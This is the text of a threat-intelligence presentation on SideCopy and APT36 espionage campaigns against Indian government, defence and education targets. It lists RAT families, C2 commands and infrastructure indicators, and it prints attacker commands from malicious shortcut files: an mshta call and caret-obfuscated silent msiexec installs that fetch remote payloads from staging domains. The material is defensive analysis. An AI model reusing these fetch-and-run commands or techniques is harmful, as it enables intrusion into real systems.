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Pakistan-linked APTs targeting India
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Transparent Tribe

▪ Active since 2013

▪ Targets – Indian and Afghanistan

▪ Sectors – Govt. and Education

▪ Arsenal
▪ Crimson RAT
▪ Oblique RAT
▪ Capra RAT
▪ Poseidon

SideCopy

▪ Active since 2019

▪ Targets – Indian and Afghanistan

▪ Sectors – Defense and Military

▪ Arsenal
▪ Action RAT
▪ Reverse RAT
▪ AllaKore RAT
▪ Margulas RAT
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Timeline of SideCopy
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2019

Copycat of SideWinder

• Targets Afghanistan Govt.

• HTA Stager & DLL sideloading

• AllaKore RAT

2020

Targets Indian Defence

• Honey-Trap theme

• CVE-2017-11882 & 0199

• HTA based on CactusTorch

2021

Targets Power Sector

• Both India & Afghanistan

• Reverse RAT, NightFury, njRAT

• Arsenal Expansion – Plugins

2022

Targets Linux Systems

• Golang-based Stealer

• BackNet – Python RAT

• Kavach-theme like APT36

2023

Targets DRDO & MEA

• Missile & Honey-trap themes

• Reverse RAT 3.0, Feta RAT

• HTA based on SilentTrinity

2023

Multi-Platform Clusters

• CVE-2023-38831

• Windows – DRat, Key RAT

• Linux – Ares RAT

2024

FY-themed decoys

• 3 campaigns in Q1

• Dual AllaKore RAT

• Grant of Allowances
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Cluster-1
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• CVSS Score – 7.8

• Execute arbitrary code

• Whitespace Extension

CVE-2023-38831
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Cluster-1 : Exploit leads to AllaKore RAT 
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Cluster-1 : LNK to HTA
hxxps://www.rockwellroyalhomes.com/js/FL/DocScanner-Oct.zip

C:\Windows\System32\mshta.exe hxxps://www.rockwellroyalhomes.com/js/content/ & mshta.exe
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Cluster-1 : DRat

d:\Projects\C#\D-Rat\DRat Client\Tenure\obj\Release\MSEclipse.pdb

getInformatica sup fdl fdlConfirm

Kaamindina close fup enterPath

driveList del sup/fupexec backPath

13 commands for C2

AllaKore 9828

DRat 61101

Same C2 but different ports
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Cluster-1 : Linux
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Linux Stager

• Go-based ELF

• Crontab Persistence

• /.local/share/

1. Decoy

2. Ares RAT
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Correlation-1
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Correlation-1 : Similar Linux Stager used by APT36

PyInstaller

Golang Poseidon (Mythic Agent)

Uptycs

Desktop Entry

Golang Poseidon (Mythic Agent)

Zscaler

14



Confidential

Please find below the colour 
palette for this presentation:
Select an object / Shape >
Go to shape fill > Select eye 
dropper tool. Pic any colour 
from the palette.

Poseidon in 2024 (June to August)

• fikumatry@gmail.com

• fitfalcon0900@gmail.com
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Ares RAT

• Open-Source

• PyInstaller ELF

1. config.pyc

2. agent.pyc

• Username: lee

• Naming
1. bossupdate

2. bosshelp

3. bossstart

4. bosstype
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Ares RAT and decoy

upload

download

zip

cd

screenshot

python

persist

clean

exit

crack

listall

help

<command>

13 commands for C2
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Cluster-1 : Overview
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Clusters 2 and 3
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Cluster-2
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Cluster-2 : Action and Double Action

• DLL Sideloading with Persistence – Action RAT (Delphi)

1. Credential Wizard – credwiz.exe

2. EFS REKEY Wizard – rekeywiz.exe

• FetaRAT – memory-based HTA

21

• Double Action RAT 

1. Downloaded via PowerShell

2. Filetype Enumeration
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Cluster-3
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Ares RAT lures in 2024

23



Confidential

Please find below the colour 
palette for this presentation:
Select an object / Shape >
Go to shape fill > Select eye 
dropper tool. Pic any colour 
from the palette.

Cluster-4
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Cluster-4 : Three Campaigns in Q1 2024

Decrypted AllaKore Commands

SocketMain PING

Info PONG

OK Folder

DownloadFile Files

UploadFile Close
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Dual AllaKore RAT

• Open-Source Remote Agent

• Additional File Operations
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Cluster-4 : Grant of Allowances
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Enter APT36

• Transparent Tribe
o Parent of SideCopy

• Target: Linux and Windows

• Low VT detection rate

• Packers
o .NET Reactor

o ConfuserEx

o Crypto Obfuscator

o Eazfuscator
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VBA Macro
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Variants of Crimson RAT

• h
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APT36 lures related to Significant Events

• Filing of Income Tax Return

• Indian General Elections
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Correlation-2

• .NET Reactor packed payloads uses juichangchi[.]online as C2 – resolved to four IPs
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AllaKore RAT and a bonus Keylogger!

Similar to SideCopy
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Cluster-5
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Cluster-5 : The Hunt
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Correlation-3 : Open Directories

Education Portals

reviewassignment.in May SideCopy

campusportals.in July SideCopy & APT36

educationportals.in August SideCopy
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Cluster-5
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Links to Pakistan

1. Testing of HTA stagers at PK geo-location

2. Exfiltration message in PK's most popular language

3. Victim traffic redirected via Germany through IPsec (Team Cymru)

4. Misleading error handling messages: "Error updating Kavach Repository"
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Cluster-5 : HTA-stagers FUD

• Custom alphabet decode

• XOR-based decryption

• String reversal 1/2/5

• Caesar cipher shift

• Embedded DLL

• WMI and VBScript

• Dynamic Invoke
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• Windows-version based HTA stagers

• Browser stealing code of Async RAT – 30 commands

Cluster-5 : HTA-based RATs
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Targeting University Students
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APT36 targeted University Students since 2022
July 2024
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Sweet Correlations
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MSI Cluster-1
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MSI Cluster-1 : More Open Directories
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MSI Cluster-1
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MSI Cluster-1 : Lures
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MSI Cluster-1 : More and more of .NET
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MSI Cluster-2
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Domains

• Mimicking e-Governance

• Compromised official NHP
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MSI Cluster-2 : Decoys
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MSI Cluster-2 : Credential Phishing
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Various RTS Services

• Webmail

• Safety Tank Management System

• Payroll System

• Set Authority

City Municipal Corporations

• Chandrapur

• Gadchiroli

• Akola

• Satara

• Vasai Virar

• Ballarpur

• Mira Bhaindar
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Opendir – DNS history
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egovservice.in 2023-June

pakola.egovservice.in
pakora.egovservice.in

2023-July

mail.egovservice.in 2023-Oct

dss.egovservice.in
cmc.egovservice.in

2023-Nov

webmail.egovservice.in
cpcalendars.egovservice.in
webdisk.egovservice.in
cpanel.egovservice.in
cpcontacts.egovservice.in

2024-jan

pen.egovservice.in 2024-Nov

gadchiroli.egovservice.in 2024-Dec
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MSI Cluster-2 : LNK to MSI
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• C:\Windows\System32\cmd.exe /c m^s^i^e^x^e^c.exe /q /i 
h^t^t^p^s^:^/^/^e^g^o^v^s^e^r^v^i^c^e^.^i^n^/^d^s^s^r^t^s^/^h^e^l^p^e^r^s^/^f^o^n^t^s^/^2^0^2^4^-
^N^a^t^i^o^nal-^H^o^l^i^d^a^y^s^-^R^H^-^P^E^R^_^N-^1^/^i^n^s^t^/

• C:\Windows\System32\cmd.exe /c m^s^i^e^x^e^c.exe /q /i 
h^t^t^p^s^:^/^/^n^h^p^.^m^o^w^r^.^g^o^v^.^i^n^/^N^H^P^M^I^S^/^T^r^a^i^n^i^n^g^M^a^t^e^r^i^a^l^/^a^s
^p^x^/^S^e^c^u^r^i^t^y^-^G^u^i^d^e^l^i^n^e^s^/^w^o^n^t^/
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MSI Cluster-2 : CurlBack RAT
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• Signed binaries

• cURL libraries

• Compilation timestamps

o2024-Dec-24

o2024-Dec-30

• Connectivity check

o/antivmcommand

• Gather sysinfo
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CurlBack RAT : Persist and Register
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String Function

/retsiger/ Register

/sdnammoc/ C2 commands

/taebtraeh/ Connection Alive

/stluser/ Upload results
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CurlBack RAT : C2 Commands
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Commands

info

download

persistence

run

extract

permission

users

cmd
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MSI Cluster-2 : Spark RAT
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• Dropped via Linux stager using wget

oTimestamp – 2024-Dec-20

• Golang based Open-source RAT

oMore than 500 forks since 2022

• Custom 'thunder' version

• Custom variants by Chinese APTs

oDragonSpark

oTAG-100



Confidential

Please find below the colour 
palette for this presentation:
Select an object / Shape >
Go to shape fill > Select eye 
dropper tool. Pic any colour 
from the palette.

New Cluster-3 : Back to HTA
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• Targeting Defence Sector

• No DLL Sideloading

• Payloads in Resource section

• AES decryption via PowerShell
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New Cluster-3 : Spear-Phishing
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New Cluster-3 : Back to HTA
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• Machine ID since May'23 – "desktop-ey8nc5b"

• .NET Stager

oDecodes & separates data using EOF marker
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New Cluster-3 : PowerShell Stage
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• Ignore policies and profile

• 2 parameters: -EPath and –EKey

• Delayed Base64 decode of the key

• AES Decryption and Reflective Loading
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New Cluster-3 : Custom Xeno RAT
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• Open-source RAT emerged at end of 2023

• Features – HVNC, live microphone access, socks5 
reverse proxy, UAC bypass, keylogger, etc.

• Custom variants:

oMoonPeak by UAT-5394 (North Korean APT)
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Threat Hunting

Hunting LNK

• Static – Machine ID

• Behavior - MSHTA

desktop-osi6rre

desktop-g1i8n3f

desktop-j6llo2k

desktop-bdeb1nb

desktop-g4b6mh4

desktop-87p7en5

desktop-ey8nc5b

cop125n

Hunting Infrastructure

• Open directories on LiteSpeed Server

• C2 located in Germany under Contabo GmBH

38.242.149[.]89 vmi1433024.contaboserver.net AllaKore RAT and DRat

207.180.192[.]77 vmi747785.contaboserver.net Key RAT

38.242.220[.]166 vmi1390334.contaboserver.net Ares RAT

161.97.151[.]220 vmi1370228.contaboserver.net Ares RAT

164.68.102[.]44 vmi1701584.contaboserver.net AllaKore RAT

213.136.94[.]11 vmi1761221.contaboserver.net AllaKore RAT

144.126.143[.]138 vmi1264250.contaboserver.net Action RAT

209.126.7[.]8 vmi1293957.contaboserver.net Action RAT
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Staging Domains

103.76.213[.]95 rockwellroyalhomes[.]com
isometricsindia[.]co.in

Oct 2023
Aug 2023

162.241.85[.]104 ssynergy[.]in
elfinindia[.]com
occoman[.]com
sunfireglobal[.]in
masterrealtors[.]in
smokeworld[.]in

Apr 2023
May 2023
Aug 2023
Oct 2023
Nov 2023
Mar 2024

151.106.97[.]183 ivinfotech[.]com
inniaromas[.]com
revivelife[.]in
vparking[.]online

Nov 2023
Nov 2023
Mar 2024
Apr 2024

84.32.84[.]41
160.153.131[.]201

springfielduniversity[.]info
ddbl[.]co.uk

Apr 2024

67.223.118[.]135 reviewassignment[.]in / online May 2024

64

162.0.209[.]114
151.106.117[.]91
192.64.117[.]203

utkalsevasamitikanjurmarg
dipl[.]site
campusportals[.]in

Jun 2024

198.54.115[.]184 educationportals[.]in Aug 2024

45.130.228[.]25 
151.106.117[.]91

pmshriggssssiwan[.]in Nov 2024

157.20.51[.]28
103.171.45[.]86
103.171.45[.]95

egovservice[.]in Dec 2024

164.100.68[.]219
164.100.94[.]171

nhp.mowr[.]gov[.]in Dec 2024

103.76.231[.]95 drjagrutichavan[.]com Jan 2025
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Timeline of SideCopy
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2024 May

US vs. China Trade War

• Same decoy in Oct 2023

• Feta RAT embedded in HTA

• DRat uploaded from PK

2024 June

Targets IAF officials

• First based MSI-stager

• Reverse RAT

• Another US vs. China theme

2024 June

Honey-Trap theme

• "WhatsApp_Image"

• Deploys Action RAT

2024 July

Targets Maritime Sector

• DOTM macros & BAT stagers

• Domains mimicking Maritime

• Cheex, USB-Copier, SigThief

2024 Aug-Sept

Overlaps with APT36

• C2 Infra and decoy match

• Geta RAT (Async RAT)

• Reverse RAT & DISGOMOJI

2024 Nov

Targets MOD

• Allotment of Funds

• Embedded Feta RAT

• Action RAT

2024 Dec

New TTPs

• Railways, Oil & Gas, MEA

• Spark RAT and CurlBack RAT

• Second MSI cluster
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Publications
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Response Strategies

• Track emerging TTPs and open-source tool abuse

• Secure Windows, Linux, and even Mobile endpoints

• Map infrastructure for threat attribution

• Detect phishing, social engineering, and exploitation

• Monitor critical sectors and at-risk groups
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